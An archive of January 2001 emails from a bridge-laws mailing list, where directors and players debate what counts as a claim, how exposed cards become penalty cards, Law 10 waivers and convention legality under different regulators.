From owner-bridge-laws Tue Jan 30 10:44:41 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TNiWk00025 for bridge-laws-outgoing; Tue, 30 Jan 2001 10:44:32 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from avocet.prod.itd.earthlink.net (avocet.prod.itd.earthlink.net [207.217.121.50]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TNiNt29980 for ; Tue, 30 Jan 2001 10:44:24 +1100 (EST) Received: from brianbaresch (sdn-ar-002kslawrP330.dialsprint.net [158.252.182.108]) by avocet.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id PAA01453 for ; Mon, 29 Jan 2001 15:44:19 -0800 (PST) Message-ID: <200101291745400680.016777B4@mail.earthlink.net> In-Reply-To: References: X-Mailer: Calypso Version 3.20.01.00 (3) Date: Mon, 29 Jan 2001 17:45:40 -0600 From: "Brian Baresch" To: bridge-laws@rgb.anu.edu.au Subject: Re: Way, Way OT Baseball quotes, was Re: [BLML] Claim? Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk [Wrigley Field, home of the Chicago Cubs] > The last baseball stadium without floodlights, right? Got them a >couple of years ago. Because they always played games in daylight, they >were available to TV companies at times when there were few other games, >and got quite a long-distance TV following as a result. > > Now spoil it by telling me that I mean the White Sox [Black Sox - must >see the film]. But I think it was the Cubs. It was. You remember correctly. Wrigley Field is like no other stadium. Brian Baresch, baresch@earthlink.net Lawrence, Kansas, USA Editing, writing, proofreading I always wanted to be someone -- I guess I should have been more specific. --Lily Tomlin -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 10:49:58 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TNJTn21829 for bridge-laws-outgoing; Tue, 30 Jan 2001 10:19:29 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-12.mail.demon.net (finch-post-12.mail.demon.net [194.217.242.41]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TNItt21718 for ; Tue, 30 Jan 2001 10:18:56 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-12.mail.demon.net with smtp (Exim 2.12 #1) id 14NNZR-000Dzz-0C for bridge-laws@rgb.anu.edu.au; Mon, 29 Jan 2001 23:18:53 +0000 Message-ID: Date: Mon, 29 Jan 2001 20:17:14 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] WBF Systems Policy References: <200101261936.OAA03461@cfa183.harvard.edu> In-Reply-To: <200101261936.OAA03461@cfa183.harvard.edu> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Steve Willner writes >> From: "Marvin L. French" >> My 2D shows a weak two in hearts, an unbalanced strong two in spades, or a >> 21-22 HCP notrump hand that includes a five-card suit. > >I agree with Marv: as far as I can tell, in the ACBL this isn't legal >even under the SuperChart. There is just barely enough ambiguity in >the wording of the chart that I can't be sure. One could read 1a in >the chart to mean that an anchor suit is required only for the weak >meaning, but I don't think that's what the words actually say. > >Marv's 2D would be SuperChart legal if the strong NT were removed. > >> 2H shows an unbalanced strong two in hearts, a weak two in spades, or a 23-24 >> HCP notrump hand. > >Same, except that removing the strong NT doesn't help. > >How would these conventions be classified in other jurisdictions, >especially the WBF? In England/Wales we have our 5 Levels, tournaments being run generally at L3 or L4. 2D as a weak two in hearts or strong is L4. I field on average fifteen complaints a year about this [or seven if you exclude Dave Keen of Merseyside and Bob Rowlands of London]. 2H as a weak two in spades or strong is L4. Everything at the 2-level that is strong or weak is L4 or L5 except the Multi, which has various rules at L3: the major must be ambiguous [we changed the wording to make that clear], there is a minimum point count [4, I think] and it may not be psyched [under L40D]. All weak bids at the two level at L2 or L3, except the Multi at L3, must show the suit bid. So long as they do, they can have any other rules. From last September, we introduced a new rule: you are allowed to play 2D as a major 2-suiter. Wahey! Flannery became legal in England! More to the point, so did Ekrens, but not on a 4=4. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 10:53:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TNrdq03039 for bridge-laws-outgoing; Tue, 30 Jan 2001 10:53:39 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout4-0.nyroc.rr.com (mailout4-1.nyroc.rr.com [24.92.226.166]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TNrVt03005 for ; Tue, 30 Jan 2001 10:53:32 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout4-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0TNnrb00456 for ; Mon, 29 Jan 2001 18:49:53 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <01012915462202.02706@psa836> References: <001901c0892c$5eb28ce0$1ec188d1@kay> <01012915462202.02706@psa836> Date: Mon, 29 Jan 2001 18:44:34 -0500 To: Bridge Laws From: Ed Reppert Subject: Re: [BLML] Claim? Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 >This happened to me once as well; my opponent bid the two of spades. > >The TD ruled that the S2 was not prematurely led, and therefore >offender's partner was not barred. However, at the end of the auction, >it had been deliberately exposed, since she intended to put the S2 on >the table. It was therefore a major penalty card; since offender was >on lead, it became the opening lead. Not quite a correct ruling, I think. Law 24 says the card stays face up throughout the auction, and if offender becomes a defender, declarer *may* designate the card a penalty card. A similar situation happened to me a week or so ago (see the thread "Exposed card before auction begins") and somebody mentioned this bit in Law 24. I mentioned it last Friday to the TD involved in my incident, and she said "I'm not gonna let that happen. It's a penalty card." ... Of course, in my case the card in question was dropped accidently, and it was the ace of diamonds, so the situations aren't identical, but close enough. Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOnYCc72UW3au93vOEQKaLACdGv2U1W3Bu8bSFZvtk5I3yzlQuBIAnRKL djdV65GVCPUmwb0ZgeFfkMj1 =kk+L -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 11:44:35 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0U0hlE10407 for bridge-laws-outgoing; Tue, 30 Jan 2001 11:43:47 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout4-0.nyroc.rr.com (mailout4-0.nyroc.rr.com [24.92.226.120]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0U0hdt10403 for ; Tue, 30 Jan 2001 11:43:40 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout4-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0U0e2b21720 for ; Mon, 29 Jan 2001 19:40:02 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <0ke8Y8AQEad6Ewck@blakjak.demon.co.uk> References: <005c01c087cf$347c1120$9a9c1e18@san.rr.com> <0ke8Y8AQEad6Ewck@blakjak.demon.co.uk> Date: Mon, 29 Jan 2001 19:34:50 -0500 To: Bridge Laws From: Ed Reppert Subject: Re: [BLML] Claim? Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson writes: >Experience shows that if you do all this, then players finish up with >no idea what you are talking about - and now you have to go through it >again! Accordingly it was decided many years ago that TDs should be >taught to quote the OLOOT, but read everything else. Larry Harris (among others) has produced some aids for TDs. One is the book "Bridge Director's Companion," another is "Bridge Director's Quick Reference Guide". This is a small (8x5 inches) pamphlet with, among other things, some simple charts for various laws. There is a full page diagram which lays out what's supposed to happen, and on the back inside cover there's a "quick 'n dirty" that looks like this: |-- Option | 1. Declarer becomes dummy. Accept | | 2. Declarer remains declarer. |-- | 3. Require OP* to lead suit.** Don't | 4. Prohibit OP from leading suit.** Accept | 5. Remain a PC. Lead Anything. |-- * OP is offender's partner. ** Restore to hand. Provided one has the Law Book handy in case elucidation is needed, and provided one ensures these charts are accurate before using them, this seems to me a good way to go. I know that at least one TD around here has the latest Bridge Director's Companion, but I've never seen him use it (or any other aid to his memory, including TFLB) when giving a ruling. Does *any* TD here find these things useful? Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 11:53:46 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0U0rMe10430 for bridge-laws-outgoing; Tue, 30 Jan 2001 11:53:22 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0U0rCt10416 for ; Tue, 30 Jan 2001 11:53:13 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Mon, 29 Jan 2001 16:49:53 -0800 Message-ID: <00bc01c08a56$f8e128a0$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "blml" References: <4.3.2.7.1.20010128180349.00b3d830@127.0.0.1> <3.0.6.32.20010129111406.007e9690@ux1.cts.eiu.edu> Subject: Re: [BLML] Claim? Date: Mon, 29 Jan 2001 16:44:57 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Grant Sterling" > Not one single person in this thread has suggested that we should > deny the defense redress if they have been deceived. I suggest, no, I declare, that it is very difficult for a player to convince a TD/AC that a coffeehouse or gratuitous comment is what caused hir mistake on defense. In the recent Blue Ribbon one of the top finishers gave me a little mechanical coffeehouse when playing a card as declarer, and I was taken in. Had I called the TD, I would have been laughed at. In these parts comments as to the adequacy of the contract when dummy comes down are considered inappropriate, if not subject to Zero Tolerance provisions. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 11:53:46 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0U0rOO10431 for bridge-laws-outgoing; Tue, 30 Jan 2001 11:53:24 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0U0rEt10418 for ; Tue, 30 Jan 2001 11:53:14 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Mon, 29 Jan 2001 16:49:55 -0800 Message-ID: <00bf01c08a56$fa30da20$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <3.0.6.32.20010129112339.007ff620@ux1.cts.eiu.edu> Subject: Re: [BLML] Claim? Date: Mon, 29 Jan 2001 16:48:17 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Grant Sterling" > Marvin L. French wrote: > >Tim West-Meads wrote: > > > >> Marv wrote: > >> > >> > What's wrong with the current "statement to the effect"? Your > >words > >> > seem to require that a number be mentioned, but "We missed a > >cold > >> > slam" should certainly constitute a claim. > >> > > >> > >> Surely not. There is nothing in that statement to indicate that > >the > >> missed slam is in the same denomination as the contract being > >played. > >> Nor does it indicate whether 12 or 13 tricks would be expected. > >> > >There is nothing about "same denomination" in L68A, so forget that. > > If I'm in 3NT and say "we would make at least 12 tricks in diamonds" > would you call that a claim? The law says "will win" a specific number > of tricks, not "would win in some other possible contract". > > >The player certainly has claimed at least 12 tricks, and that's a > >specific number. > > So if the defense acquieses, how many tricks do we score up? "That's > 3NT making at least 12". :) > The defense will acquiesce to as many tricks that it sees can be won, get the claimer to agree, and call the TD if there is disagreement. WTP? Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 11:53:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0U0rQ010432 for bridge-laws-outgoing; Tue, 30 Jan 2001 11:53:26 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0U0rGt10424 for ; Tue, 30 Jan 2001 11:53:16 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Mon, 29 Jan 2001 16:49:57 -0800 Message-ID: <00c001c08a56$fb3d6820$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "Bridge Laws Discussion List" References: <4.3.2.7.1.20010128180349.00b3d830@127.0.0.1> <4.3.2.7.1.20010129131855.00b315d0@127.0.0.1> Subject: Re: [BLML] Claim? Date: Mon, 29 Jan 2001 16:51:06 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Eric Landau" > At 10:57 AM 1/29/01, Roger wrote: > > >Let us look at what it would take for the rules to reflect the way people > >[want to] play bridge and construct some that would lead players to > >not seek > >redress and lead directors to not give it if it was asked for: > > > >'A statement is not a claim if it is directed toward partner in any way.' > > > >And.. > > > >'In addition to bids and plays, partners may communicate in ways as > >they see > >fit, including ways that could be inadvertently deceptive.' > > > >Such provisions would make it clear to players and directors that there > >would be no redress for statements at T1 such as "Don't worry, we're going > >to make five". And would it also be made clear that there would not be > >redress at any other trick? > > Not at all. My position is NOT that there would be no redress, only > that there would be no redress under the laws governing claims. As > many others have pointed out, redress is readily available under L73F2 > if my remark may have damaged the opponents. > And I point out that such redress is seldom if ever forthcoming. It is certainly *not* "readily available," because proving damage is very difficult. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 12:13:57 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0U1Djg10475 for bridge-laws-outgoing; Tue, 30 Jan 2001 12:13:45 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0U1Ddt10471 for ; Tue, 30 Jan 2001 12:13:40 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Mon, 29 Jan 2001 17:10:21 -0800 Message-ID: <00ed01c08a59$d4a54fe0$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101292243.RAA16802@calum.csclub.uwaterloo.ca> Subject: Re: [BLML] L10 Suggestion Date: Mon, 29 Jan 2001 17:07:32 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Michael Farebrother" > I've been reading L10 again, because of our discussions centering on > L81C8. In particular, someone mentioned that it would be better if a > player's right were defined somewhere other than the section labelled > "Tournament Director". > > L10A: The Director alone has the right to assess penalties when > applicable. Players do not have the right to assess (or waive) > penalties on their own initiative. > > Note the parenthetical (or waive). It seems, without context, to make > no sense, because nothing in the rest of the statement talks about > waiving penalties, nor is there any statement anywhere near L10A that > discusses the fact that anybody has the right to waive penalties at all. > > Now, we all know that this is a reference to L81C8, but we RTFLB Too F > Often For Our Own Good. Why not make it explicit? > > L10A Right to Assess or Waive Penalty > > The Director alone has the right to assess penalties when applicable. > Players do not have the right to assess penalties on their own > initiative, nor do the right to waive them (but they may request that > the Director do so, see L81C8). > And a reminder that accepting a COOT, LOOT, or insufficient bid by taking immediate action over it does not constitute a waiver of penalty. There is no penalty for the irregularity when this occurs, so there is nothing to waive. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 12:24:12 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0U1Nvo10491 for bridge-laws-outgoing; Tue, 30 Jan 2001 12:23:57 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0U1Npt10487 for ; Tue, 30 Jan 2001 12:23:52 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Mon, 29 Jan 2001 17:20:32 -0800 Message-ID: <010401c08a5b$40c9d500$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "Bridge Laws" References: <001901c0892c$5eb28ce0$1ec188d1@kay> <01012915462202.02706@psa836> Subject: Re: [BLML] Claim? Date: Mon, 29 Jan 2001 17:16:50 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "David J Grabiner" > On Sun, 28 Jan 2001, Nelson/Kay Ford wrote: > > > A couple of weeks ago, a player meant to bid 2C, but > > her brain short-circuited and she pulled the 2C card out > > of her hand instead of pulling the 2C bid card out of the > > bidding box. > > > > Now the question is whether that is still a minor penalty > > card. It wasn't "accidentally" exposed, but it wasn't being > > led either. I don't think that the Laws anticipated this. > > This happened to me once as well; my opponent bid the two of spades. > > The TD ruled that the S2 was not prematurely led, and therefore > offender's partner was not barred. However, at the end of the auction, > it had been deliberately exposed, since she intended to put the S2 on > the table. It was therefore a major penalty card; since offender was > on lead, it became the opening lead. > "Therefore" implies an automatic treatment of the card as a penalty card during the play. Actually, the declarer has the option of not treating it as such. Until last summer, when the ACBLLC affirmed that L24 gives declarer the right to make that decision, ACBL TDs were told to deny that option to declarer. The thought behind this was that someone might do a favor for a friend. It is denied no longer. Looking into the history of this Law, I have a suspicion that giving declarer this option is a carryover from rubber bridge that was inadvertently allowed to remain in the duplicate Laws. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 12:29:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0U1TD310504 for bridge-laws-outgoing; Tue, 30 Jan 2001 12:29:13 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0U1T6t10500 for ; Tue, 30 Jan 2001 12:29:07 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by anchor-post-30.mail.demon.net with smtp (Exim 2.12 #1) id 14NPbS-000JkK-0U for bridge-laws@rgb.anu.edu.au; Tue, 30 Jan 2001 01:29:03 +0000 Message-ID: Date: Tue, 30 Jan 2001 01:21:04 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Claim? References: <001901c0892c$5eb28ce0$1ec188d1@kay> <01012915462202.02706@psa836> In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article , Ed Reppert writes >Hash: SHA1 > >>This happened to me once as well; my opponent bid the two of spades. >> >>The TD ruled that the S2 was not prematurely led, and therefore >>offender's partner was not barred. However, at the end of the auction, >>it had been deliberately exposed, since she intended to put the S2 on >>the table. It was therefore a major penalty card; since offender was >>on lead, it became the opening lead. > >Not quite a correct ruling, I think. Law 24 says the card stays face >up throughout the auction, and if offender becomes a defender, >declarer *may* designate the card a penalty card. A similar situation >happened to me a week or so ago (see the thread "Exposed card before >auction begins") and somebody mentioned this bit in Law 24. I >mentioned it last Friday to the TD involved in my incident, and she >said "I'm not gonna let that happen. It's a penalty card." >... Of course, in my case the card in question was dropped >accidently, and it was the ace of diamonds, so the situations aren't >identical, but close enough. > I frequently play a card from my hand to show a bid (usually 4 of a major, where we have flat hands and the oppo are unlikely to call). When the opponents then sacrifice I'm content to let it be a penalty card, as that's what the Laws say. If I can't have fun when I'm playing I think I'll have to take up directing. If I end up as declarer I often stick it on my forehead until I need it. For some reason people enjoy playing with and against me. There's so much fun to be had playing *legal* bridge that I wonder why people worry when the TD rules 'against' them. cheers john -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 12:39:34 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0U1dNN10521 for bridge-laws-outgoing; Tue, 30 Jan 2001 12:39:23 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0U1dHt10517 for ; Tue, 30 Jan 2001 12:39:18 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Mon, 29 Jan 2001 17:35:59 -0800 Message-ID: <010701c08a5d$698b43a0$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <004c01c08834$dc6d4740$9a9c1e18@san.rr.com> Subject: Re: [BLML] Cincinnati NABC Appeal 36 Date: Mon, 29 Jan 2001 17:38:49 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "David Stevenson" > Marvin L. French writes > > >The casebook commentators approved the Panel's decision, giving it a score of > >92.3. I'd give it 62.3 > > Well, you have a copy of the casebook, and I don't, so you know what I > thought, and I can't remember! > Now that is inexcusable, real *lese majeste*. Copies were given to TDs and important others at the Birmingham NABC last fall, and I managed to get one under the table. Your comment, as quoted, was: "It seems that educating players in the simple legal requirements should not be impossible, even for Flight B. While I have doubts about whether the Panel's decision is really legal it is certainly educational." And Grattan's was: (hope this doesn't constitute infringement of copyright): "The time to call the Director was when dummy hit the deck. Action by South is not especially likely, an additional club would help; but it is on the cards for North to protect in 3C. The -400 for E/W is harsh; a PP may be considered an alternative." I think Grattan might rethink all of this. The time to call the Director is when attention is called to an irregularity. The likelihood of a double by South is moot (the AC said South was "likely to enter"). Given that the double might well have been made, the -400 doesn't seem "harsh." If we were to assess PP's for every Alert mistake, they would be flying all over the place. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 13:40:39 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0U2cdI10571 for bridge-laws-outgoing; Tue, 30 Jan 2001 13:38:39 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0U2cWt10567 for ; Tue, 30 Jan 2001 13:38:33 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-10.mail.demon.net with smtp (Exim 2.12 #1) id 14NQgX-0000gM-0A for bridge-laws@rgb.anu.edu.au; Tue, 30 Jan 2001 02:38:28 +0000 Message-ID: Date: Tue, 30 Jan 2001 01:58:27 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> <000f01c0857f$e50191c0$1113f7a5@james> <002901c085b6$2fd1e200$2f48a718@austin.rr.com> <001701c08606$647fd980$0ec188d1@kay> <002901c0863e$f5b136a0$087fa218@austin.rr.com> <009301c08654$c6d53410$a310f7a5@james> <03+HvWAKLEc6EwUe@blakjak.demon.co.uk> In-Reply-To: <03+HvWAKLEc6EwUe@blakjak.demon.co.uk> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson writes >Craig Senior writes >>And continue to do so. As I pointed out, a significant number of >>posters on this thread think that it is a claim. Not all agree >>that that is an ideal situation. > > Sure. But if 20 people on this list do think it is a claim, I do not >think that makes me wrong in my assertion that over 99% of all bridge >players will think it not a claim. Ah well, I have been receiving emails. No doubt in my anger over certain actions I have said things that I did not expect to be misinterpreted, but I have been told they have been. I find certain people's comments unhelpful to the game of bridge. They number very few. It is my opinion, as previously expressed that the list is the worse for this. I believe such people are trying to win brownie points. OK, I said that, I meant that, and I am not backing from that. BUT! Having said it in this 